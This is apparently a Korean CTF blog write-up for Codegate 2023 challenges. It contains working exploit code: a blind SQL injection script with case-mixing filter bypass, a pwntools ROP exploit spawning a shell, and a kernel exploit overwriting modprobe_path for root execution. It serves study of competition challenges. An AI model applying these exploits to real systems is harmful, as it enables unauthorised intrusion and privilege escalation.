        OO0O0O0OOO00O00OO =document .querySelector (O00OO00OO0O00OO0O ).innerText #line:208
        O0OOO0O0000O0O00O ='#_'+O000OO000000O0000 #line:209
        O0OO00O00OOOOOOOO =document .querySelector (O0OOO0O0000O0O00O ).getAttribute ('data-note-type')#line:210
        console .log (O0OO00O00OOOOOOOO )#line:211
        modalHeaderSubject .innerText =OOOO00O00OO0OOO00 #line:214
        modalBodylines .value =OO0O0O0OOO00O00OO #line:215
        OO0O000O000OO0OOO =document .querySelector ('#myModal')#line:216
        OO0O000O000OO0OOO .className ='modalHeader'+O0OO00O00OOOOOOOO #line:217
        modalBodylines .className ='form-control modalBody'+O0OO00O00OOOOOOOO #line:218
        print ('modal lines count: ',str (len (modalBodylines .value )))#line:219
        modal .setAttribute ('data-note-target',O00OO00OO0O00OO0O )#line:221
        O000O000O0OO00000 =len (modalBodylines .value )#line:223
        if O000O000O0OO00000 <100 :#line:224
            modalBodylines .style .height ="100px";#line:225
        elif O000O000O0OO00000 >=100 and len (modalBodylines .value )<250 :#line:226
            modalBodylines .style .height ="150px";#line:227
        elif O000O000O0OO00000 >=250 and len (modalBodylines .value )<400 :#line:228
            modalBodylines .style .height ="300px";#line:229
        elif O000O000O0OO00000 >=400 :#line:230
            modalBodylines .style .height ="450px";#line:231
        modal .style .display ='block'#line:233
        modalBodylines .focus ()#line:234
        modalBodylines .addEventListener ('change',create_proxy (updateNoteBodyLines ))#line:236
def closeModal (OOO0OO00O00O0O000 ,**OOOO0OO0000OO0O00 ):#line:238
    modal .style .display ='none'#line:239
    modalDialog .close ()#line:240
    createNoteInput .removeAttribute ('disabled')#line:241
def textareaInput (OO000000O00000OO0 ):#line:243
    createNoteForm .style .height =noteFormHeightOpen #line:244
    createNoteTitle .style .display ='block'#line:245
    closeNoteInput .style .display ='block'#line:246
    createNoteInput .style .height ='auto'#line:247
    O00O0O0O0OO000000 =OO000000O00000OO0 .target .scrollHeight #line:248
    createNoteInput .style .height ='{scHeigth}px'.format (scHeigth =O00O0O0O0OO000000 )#line:249
def copyPaste (OOOOO0OO0O0000O00 ,**O0O00OO00OOOOO000 ):#line:251
    if document .activeElement .id !=createNoteInput .id and document .activeElement .id !=createNoteTitle .id and modal .style .display !='block':#line:254
        createNoteForm .style .height =noteFormHeightOpen #line:255
        createNoteTitle .style .display ='block'#line:256
        closeNoteInput .style .display ='block'#line:257
        createNoteInput .style .height ='100px'#line:258
        OOOOOOO0OOOOOO00O =OOOOO0OO0O0000O00 .clipboardData .getData ('text')#line:259
        createNoteInput .value =OOOOOOO0OOOOOO00O .strip ()#line:260
        O00O000OO0000O00O =OOOOO0OO0O0000O00 .target .scrollHeight #line:261
        createNoteInput .style .height ='{scHeigth}px'.format (scHeigth =O00O000OO0000O00O )#line:262
def inputFocusOut (O0O0OO000OOOOO000 ,**O0O0O00OOO00000O0 ):#line:264
    global inputDivFlag #line:265
    O0OO00OOOOOO0OOO0 =(document .activeElement .id ==createNoteTitle .id )#line:268
    if createNoteInput .value ==''and not O0OO00OOOOOO0OOO0 :#line:269
        inputDivFlag =1 #line:270
        console .log ("FOCUS OUT!!",inputDivFlag ,document .activeElement .id ==createNoteTitle .id )#line:271
def debug (OOOO00O000O000OO0 ,**O0O0OO00000O00OO0 ):#line:273
    console .log ("DEBUG!!")#line:274
    console .log (OOOO00O000O000OO0 )#line:275
    console .log ('tagName:',OOOO00O000O000OO0 .target .tagName )#line:276
    console .log ('id:',OOOO00O000O000OO0 .target .id )#line:277
    console .log ('Current active element:',document .activeElement .id )#line:278
    console .log ('modal status:',modal .style .display )#line:279
    console .log (document .activeElement )#line:280
body =document .getElementsByTagName ('body')[0 ]#line:285
body .addEventListener ("paste",create_proxy (copyPaste ))#line:286
modal =document .querySelector ("#myModal")#line:289
modalHeaderSubject =document .querySelector ('#noteHeaderSubject')#line:290
modalBodylines =document .querySelector ('#modalBodyText')#line:291
document .querySelector ("#closeModal").addEventListener ('click',create_proxy (closeModal ))#line:292
modalDialog =document .getElementById ('dialog')#line:293
createNoteForm =document .querySelector ('.noteForm')#line:296
createNoteTitle =document .querySelector ('#inputTitle')#line:297
createNoteInput =document .getElementById ("input")#line:298
closeNoteInput =document .getElementById ("closeInput")#line:299
for event in ["keyup","focus"]:#line:302
    createNoteInput .addEventListener (event ,create_proxy (textareaInput ))#line:303
document .addEventListener ('click',create_proxy (createNoteElement ))#line:305
from js import nenc1_passwords ,nenc2_passwords ,enc_key #line:307
import string #line:308
def enc1 (O00O0OOOO000O00O0 ,O0O0000O0O000OO00 ):#line:309
    OO0O00O0OOO0O0000 =""#line:310
    for O0OOO0OOO0OOO0O00 in range (len (O00O0OOOO000O00O0 )):#line:312
        O0O0000OOOOO0OOO0 =O00O0OOOO000O00O0 [O0OOO0OOO0OOO0O00 ]#line:313
        if O0O0000OOOOO0OOO0 .isupper ():#line:315
            OO0O00O0OOO0O0000 +=chr ((ord (O0O0000OOOOO0OOO0 )+O0O0000O0O000OO00 -65 )%26 +65 )#line:316
        else :#line:318
            OO0O00O0OOO0O0000 +=chr ((ord (O0O0000OOOOO0OOO0 )+O0O0000O0O000OO00 -97 )%26 +97 )#line:319
    return OO0O00O0OOO0O0000 #line:321
def enc2 (O0O00OOO0OOO0O000 ,O00OOO0OO000O00O0 ):#line:323
    O00O00OO0OO0O00O0 =""#line:324
    O0O0OOO0OOOOO0O0O =len (O00OOO0OO000O00O0 )#line:325
    OO0OOO0O0OO00O0OO =len (O0O00OOO0OOO0O000 )#line:326
    for O0O00O00O0O0OOOOO in range (OO0OOO0O0OO00O0OO ):#line:328
        OOOO0O00O0O0O00O0 =O0O00OOO0OOO0O000 [O0O00O00O0O0OOOOO ]#line:329
        if OOOO0O00O0O0O00O0 .isupper ():#line:330
            O0OOO00OO0O0OO000 =ord (O00OOO0OO000O00O0 [O0O00O00O0O0OOOOO %O0O0OOO0OOOOO0O0O ])-65 #line:331
            O00O00OO0OO0O00O0 +=chr ((ord (OOOO0O00O0O0O00O0 )+O0OOO00OO0O0OO000 -65 )%26 +65 )#line:332
        else :#line:333
            O0OOO00OO0O0OO000 =ord (O00OOO0OO000O00O0 [O0O00O00O0O0OOOOO %O0O0OOO0OOOOO0O0O ])-97 #line:334
            O00O00OO0OO0O00O0 +=chr ((ord (OOOO0O00O0O0O00O0 )+O0OOO00OO0O0OO000 -97 )%26 +97 )#line:335
    return O00O00OO0OO0O00O0 #line:337
for i in range (10 ):#line:340
    enc1_text =nenc1_passwords [6 ]+nenc2_passwords [2 ]+nenc1_passwords [i ]+nenc2_passwords [i ]#line:341
    s =enc1_text #line:342
    enc1_text =''.join (OO0OOO0O0OO0O0OOO for OO0OOO0O0OO0O0OOO in s if OO0OOO0O0OO0O0OOO in string .ascii_letters +string .digits )#line:343
    enc1_text =enc1_text [::-1 ]#line:344
    shift =4 #line:346
    enc1_value =enc1 (enc1_text ,shift )#line:347
    key =enc_key #line:349
    enc2_value =enc2 (enc1_value ,key )#line:350
    content =str ()#line:352
    if i ==5 :#line:353
        content +="\nfind it\n"#line:354
    with open (f'/tmp/file_{i}.txt','w')as f :#line:356
        f .write (enc2_value )#line:357
        f .write (content )

 

note페이지에서 이러한 코드를 볼 수 있었다. 잘 보니까 무언가 문자열을 만드는거 같았다. 저기 i == 5일때 content에 find it을 주는데 i == 5일때 enc2_value가 플래그일거라는 추측을 했다. nenc1_passwords와 nenc2_passwords모두 우리가 모르는 값이었지만

 

 

 

처음에 resultString을 얻었던 방식과 비슷하게 다른 js파일에서 값을 생성하고 있었다.

 

import string

def enc1 (O00O0OOOO000O00O0 ,O0O0000O0O000OO00 ):#line:309
    OO0O00O0OOO0O0000 =""#line:310
    for O0OOO0OOO0OOO0O00 in range (len (O00O0OOOO000O00O0 )):#line:312
        O0O0000OOOOO0OOO0 =O00O0OOOO000O00O0 [O0OOO0OOO0OOO0O00 ]#line:313
        if O0O0000OOOOO0OOO0 .isupper ():#line:315
            OO0O00O0OOO0O0000 +=chr ((ord (O0O0000OOOOO0OOO0 )+O0O0000O0O000OO00 -65 )%26 +65 )#line:316
        else :#line:318
            OO0O00O0OOO0O0000 +=chr ((ord (O0O0000OOOOO0OOO0 )+O0O0000O0O000OO00 -97 )%26 +97 )#line:319
    return OO0O00O0OOO0O0000 #line:321
def enc2 (O0O00OOO0OOO0O000 ,O00OOO0OO000O00O0 ):#line:323
    O00O00OO0OO0O00O0 =""#line:324
    O0O0OOO0OOOOO0O0O =len (O00OOO0OO000O00O0 )#line:325
    OO0OOO0O0OO00O0OO =len (O0O00OOO0OOO0O000 )#line:326
    for O0O00O00O0O0OOOOO in range (OO0OOO0O0OO00O0OO ):#line:328
        OOOO0O00O0O0O00O0 =O0O00OOO0OOO0O000 [O0O00O00O0O0OOOOO ]#line:329
        if OOOO0O00O0O0O00O0 .isupper ():#line:330
            O0OOO00OO0O0OO000 =ord (O00OOO0OO000O00O0 [O0O00O00O0O0OOOOO %O0O0OOO0OOOOO0O0O ])-65 #line:331
            O00O00OO0OO0O00O0 +=chr ((ord (OOOO0O00O0O0O00O0 )+O0OOO00OO0O0OO000 -65 )%26 +65 )#line:332
        else :#line:333
            O0OOO00OO0O0OO000 =ord (O00OOO0OO000O00O0 [O0O00O00O0O0OOOOO %O0O0OOO0OOOOO0O0O ])-97 #line:334
            O00O00OO0OO0O00O0 +=chr ((ord (OOOO0O00O0O0O00O0 )+O0OOO00OO0O0OO000 -97 )%26 +97 )#line:335
    return O00O00OO0OO0O00O0 #line:337

nenc1_passwords = ['aaaaaaaaa0aa!', 'aaaaabaaa1ab"', 'aaaaacaaa2ac#', 'aaaaadaaa3ad$', 'aaaaaeaaa4ae%', 'aaaaafaaa5af&', "aaaaagaaa6ag'", 'aaaaahaaa7ah(', 'aaaaaiaaa8ai)', 'aaaaajaaa9aj*']

nenc2_passwords = ['aA0!aA0!aA', 'bB1"bB1"bB', 'cC2#cC2#cC', 'dD3$dD3$dD', 'eE4%eE4%eE', 'fF5&fF5&fF', "gG6'gG6'gG", 'hH7(hH7(hH', 'iI8)iI8)iI', 'jJ9*jJ9*jJ']

enc_key = 'c0deg4te'
for i in range (10 ):#line:340
    enc1_text =nenc1_passwords [6 ]+nenc2_passwords [2 ]+nenc1_passwords [i ]+nenc2_passwords [i ]#line:341
    s =enc1_text #line:342
    enc1_text =''.join (OO0OOO0O0OO0O0OOO for OO0OOO0O0OO0O0OOO in s if OO0OOO0O0OO0O0OOO in string .ascii_letters +string .digits )#line:343
    enc1_text =enc1_text [::-1 ]#line:344
    shift =4 #line:346
    enc1_value =enc1 (enc1_text ,shift )#line:347
    key =enc_key #line:349
    enc2_value =enc2 (enc1_value ,key )#line:350
    content =str ()#line:352
    if i ==5 :#line:353
        content +="\nfind it\n"#line:354
    print(i, enc2_value)
    print(i, content)

 

얻은 값을 넣어서 로컬에서 이걸 실행하면

 

 

이런 출력 결과를 볼 수 있는데 find it위에 있는 Rmp어쩌고 저거를 codegate2023{}포맷에 감싸서 인증하면 된다.

 

codegate2023{RmpTptInlhpiklcighhiSncQimPkqlgighniklxi}

 

 

myboard

 

 

기능이 되게 심플하다. 게시판 조회하는 기능밖에 없다. 그래서 파라미터도 제한적이었고 php로 개발된걸 봐서 sqli라는 느낌이 왔다. 여러 시도를 해본 결과 sort_by에 sleep(1)을 넣으면 지연되는걸 발견했고 order by에서 sql injection이 일어난다는걸 알 수 있었다. 그런데 필터링이 조금 이상했는데 select같은건 그냥 넣으면 필터당하지만 SeLeCt이런식으로 대소문자를 섞으면 우회가 되었다. 잠시동안 union based sql injection을 하려는 행복회로를 돌렸지만 union은 대소문자 섞어도 아예 필터링되길래 어쩔 수 없이 error based blind sql injection으로 방향을 틀었다. 플래그는 다른 테이블에 있다고 생각을 했고 information_schema와 subquery를 이용해서 error based blind sql injection으로 테이블명과 컬럼명을 알아낸 뒤에 플래그를 추출했다. 필터링이 뭐가 많아서 많이 힘들었다.

 

import requests
from tqdm import tqdm

url = "http://3.38.182.27/index.php?page=2&sort_by="

s = requests.Session()

table = ""

for i in range(1, 10000):
    for j in range(0x20, 0x7f):
        query = f"if(ascii(substr((sElECt/**/table_name/**/fRoM information_schema.tables WheRe table_schema=database() limit 1, 1), {i}, 1))={j},9e307*2,0)"
        if s.get(url+query).status_code == 500:
            table += chr(j)
            print(table)
            break

 

table명을 추출하는 코드이다. limit바꿔가면서 플래그가 있을만한 table을 찾았다.

 

 

table = "super_secret"
column = ""

for i in range(1, 10000):
    for j in range(0x20, 0x7f):
        query = f"if(ascii(substr((sElECt/**/column_name/**/fRoM information_schema.columns WheRe table_name=(sElEct cOnCaT(CHAR(115), CHAR(117), CHAR(112), CHAR(101), CHAR(114), CHAR(95), CHAR(115), CHAR(101), CHAR(99), CHAR(114), CHAR(101), CHAR(116))) limit 0, 1), {i}, 1))={j},9e307*2,0)"
        if s.get(url+query).status_code == 500:
            column += chr(j)
            print(column)
            break

 

그리고 칼럼명 추출하는 코드이다.

 

 

table = "super_secret"
column = "secret_flag"
flag = ""

for i in range(1, 10000):
    for j in range(0x20, 0x7f):
        query = f"if(ascii(substr((sElECt/**/{column}/**/fRoM {table} limit 0, 1), {i}, 1))={j},9e307*2,0)"
        if s.get(url+query).status_code == 500:
            flag += chr(j)
            print(flag)
            break

 

마지막으로 flag를 추출하는 코드이다.

 

 

이 문제를 풀면서 나는 sql에 대한 베이스가 부족하다는 생각이 들었다.

 

 

Librarian

 

 

메뉴가 있다.

 

 

리스트 볼 수 있고

 

 

unsigned __int64 __fastcall sub_137B(__int64 a1)
{
  __int64 *v1; // rax
  _QWORD *v2; // rax
  int v4; // [rsp+1Ch] [rbp-A4h]
  __int64 v5; // [rsp+20h] [rbp-A0h]
  __int64 v6; // [rsp+28h] [rbp-98h]
  __int64 v7; // [rsp+30h] [rbp-90h]
  __int64 v8; // [rsp+38h] [rbp-88h]
  __int64 v9; // [rsp+40h] [rbp-80h]
  __int64 v10; // [rsp+48h] [rbp-78h]
  __int64 v11; // [rsp+50h] [rbp-70h]
  __int64 v12; // [rsp+58h] [rbp-68h]
  __int64 v13; // [rsp+60h] [rbp-60h]
  __int64 v14; // [rsp+68h] [rbp-58h]
  __int64 v15; // [rsp+70h] [rbp-50h]
  __int64 v16; // [rsp+78h] [rbp-48h]
  __int64 v17; // [rsp+80h] [rbp-40h]
  __int64 v18; // [rsp+88h] [rbp-38h]
  __int64 v19; // [rsp+90h] [rbp-30h]
  __int64 v20; // [rsp+98h] [rbp-28h]
  unsigned __int64 v21; // [rsp+A8h] [rbp-18h]

  v21 = __readfsqword(0x28u);
  v4 = dword_47CC - 2;
  while ( v4 >= 0 )
  {
    if ( strcmp((const char *)(((v4 + 1LL) << 7) + a1), (const char *)(((__int64)v4 << 7) + a1)) >= 0
      || v4 == dword_47CC )
    {
      --v4;
    }
    else
    {
      v1 = (__int64 *)(((__int64)v4 << 7) + a1);
      v5 = *v1;
      v6 = v1[1];
      v7 = v1[2];
      v8 = v1[3];
      v9 = v1[4];
      v10 = v1[5];
      v11 = v1[6];
      v12 = v1[7];
      v13 = v1[8];
      v14 = v1[9];
      v15 = v1[10];
      v16 = v1[11];
      v17 = v1[12];
      v18 = v1[13];
      v19 = v1[14];
      v20 = v1[15];
      memcpy(v1, (const void *)(((v4 + 1LL) << 7) + a1), 0x40uLL);
      memcpy((void *)(((__int64)v4 << 7) + a1 + 64), (const void *)(((v4 + 1LL) << 7) + a1 + 64), 0x40uLL);
      v2 = (_QWORD *)(((v4 + 1LL) << 7) + a1);
      *v2 = v5;
      v2[1] = v6;
      v2[2] = v7;
      v2[3] = v8;
      v2[4] = v9;
      v2[5] = v10;
      v2[6] = v11;
      v2[7] = v12;
      v2 += 8;
      *v2 = v13;
      v2[1] = v14;
      v2[2] = v15;
      v2[3] = v16;
      v2[4] = v17;
      v2[5] = v18;
      v2[6] = v19;
      v2[7] = v20;
      ++v4;
    }
  }
  return v21 - __readfsqword(0x28u);
}

 

무언가를 추가할수도 있다. 그런데 앞에 추가했던거랑 뒤에 추가했던거랑 strcmp해서 앞에꺼가 더 크면 뭔가 위치를 바꿔준다. 이거때문에 취약점이 터지는거 같다.

 

 

여기선 특정 인덱스 수정할 수 있는데 scanf에서 주소 안주고 변수 그대로 줘서 취약점인줄 알았는데 4바이트 변수라서 주소 못준다. 그냥 쓸모없는 기능이다.

 

 

초기화 기능도 있다.

 

이건 거의 손퍼징으로 했는데 그냥 데이터 꽉채우고 마지막꺼를 작게 줘서 add할때 변화 일어나게 해보니까 첫번째꺼가 이상하게 주소가 땡겨와지길래 해당 부분에서 canary와 libc leak하고 rop해줬다.

 

from pwn import *

sla = lambda x, y : r.sendlineafter(x, y)
sa = lambda x, y : r.sendafter(x, y)
rvu = lambda x : r.recvuntil(x)
rvn = lambda x : r.recvn(x)

#r = process("./librarian")
r = remote("43.201.16.196", 8888)

def add(title):
    sla("choice: ", "2")
    sla("title: ", title)

def comment(idx, comment):
    sla("choice: ", "3")
    sla("Index: ", str(idx))

def clear():
    sla("choice: ", "4")

for i in range(4):
    add(chr(ord("a")+i)*0x3f)
add("0"*0x3f)

sla("choice: ", "1")

rvu("Current Book List:\n1. ")
canary = u64(rvn(16)[-8:])
success(hex(canary))

libc_leak = u64(rvu("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - 0x23510
system = libc_base + 0x4e520
pop_rdi = libc_base + 0x23b65
binsh = libc_base + 0x1b61b4
success(hex(libc_base))

clear()

for i in range(13):
    add(chr(ord("a")+i)*0x10)

add(b"z"*8+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(pop_rdi+1)+p64(system))
add("0")

sla("choice: ", "5")

r.interactive()

 

 

 

HM

 

커널 안한지 오래돼서 그런지 modprobe_path덮는게 안떠올라서 대회중에 못풀고 끝나고 푼 문제이다.

__int64 __fastcall m_init()
{
  __int64 v0; // rbp
  unsigned int v1; // ebx
  unsigned __int64 v2; // rdi
  unsigned int v4; // [rsp-1Ch] [rbp-1Ch] BYREF
  unsigned __int64 v5; // [rsp-18h] [rbp-18h]
  __int64 v6; // [rsp-8h] [rbp-8h]

  _fentry__();
  v6 = v0;
  v5 = __readgsqword(0x28u);
  if ( (unsigned int)alloc_chrdev_region(&v4, 0LL, 1LL, &unk_227) )
  {
    return (unsigned int)-1;
  }
  else
  {
    v1 = 0;
    my_dev_major = v4 >> 20;
    v4 &= 0xFFF00000;
    cdev_init(&my_dev, &m_fops);
    if ( (unsigned int)cdev_add(&my_dev, v4, 1LL) )
      unregister_chrdev_region(v4, 1LL);
    v2 = _class_create(&_this_module, &unk_227, &my_dev_major);
    my_class = v2;
    if ( v2 > 0xFFFFFFFFFFFFF000LL )
    {
      cdev_del(&my_dev);
      unregister_chrdev_region(v4, 1LL);
      return (unsigned int)-1;
    }
    else if ( !device_create(v2, 0LL, (unsigned int)(my_dev_major << 20), 0LL, &unk_227) )
    {
      class_destroy(my_class);
      cdev_del(&my_dev);
      unregister_chrdev_region(v4, 1LL);
    }
  }
  return v1;
}

 

init은 이렇게 해주고

 

 

실질적인 기능은 이게 끝인데 그냥 aaw이다.

 

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel bzImage \
    -initrd $1 \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

 

심지어 서버에서 실행할때 KADR보호기법도 안걸고 실행해서 /proc/kallsyms읽으면 원하는 심볼의 커널 주소를 leak할 수 있다. leak도 주고 aaw도 주고 그냥 끝난거였는데 modprobe_path가 생각이 안나서...... :(

커널 한창 할때 많이 들었던건데 안하다보니까 까먹나보다. 아무튼 modprobe_path가 언제 실행되냐면 알 수 없는 파일 형식의 파일을 실행할때 modprobe_path에 들어있는 경로의 파일이 실행된다.

 

 

이런 과정을 거쳐서 실행된다고 한다.

 

그런데 커널에서 실행해주는거니까 기본적으로 root권한으로 실행이 된다. 따라서 modprobe_path를 덮게 된다면 root권한으로 임의의 바이너리나 shell script를 실행할 수 있게 된다. 이건 커널 익스할때 매우 유용하게 쓰일듯 하다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

unsigned long long *modprobe_path;

void *get_addr(char *name)
{
	void *addr = NULL;
	char sym[200] = { 0, };

	FILE *fp = fopen("/proc/kallsyms", "r");

	while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
    	{
        	if(strcmp(sym, name) == 0) break;
        	else addr = NULL;
    	}

    	fclose(fp);

    	return addr;
}
void get_flag(){
    puts("[*] Returned to userland, setting up for fake modprobe");
    
    system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    puts("[*] Run unknown file");
    system("/tmp/dummy");

    puts("[*] Hopefully flag is readable");
    system("cat /tmp/flag");
}
int main(void)
{
	char *path = "/tmp/x";
	int fd = open("/dev/hm", O_RDWR);
	modprobe_path = get_addr("modprobe_path");
	unsigned long long aaw[2] = {modprobe_path, path};
	ioctl(fd, 4919, aaw);
	get_flag();

	return 0;
}

 

최종적으로 위와 같이 exploit을 작성했고

 

gcc -masm=intel -static -o ex ex.c

 

커널익스 할때는 libc에 의존하면 안되니까 -static옵션을 줘서 컴파일 해줬다.

 

 

exploit을 실행하면 플래그를 얻을 수 있다.

반응형

'CTF' 카테고리의 다른 글

YISF 2023 예선 write up  (1) 2023.08.17
ImaginaryCTF 2023 - window-of-opportunity  (2) 2023.07.25
ACSC 2023 - Write up  (1) 2023.02.26
2022 Christmas CTF 후기  (1) 2022.12.27
2022 Layer7 CTF write up + 후기  (0) 2022.12.19
Comments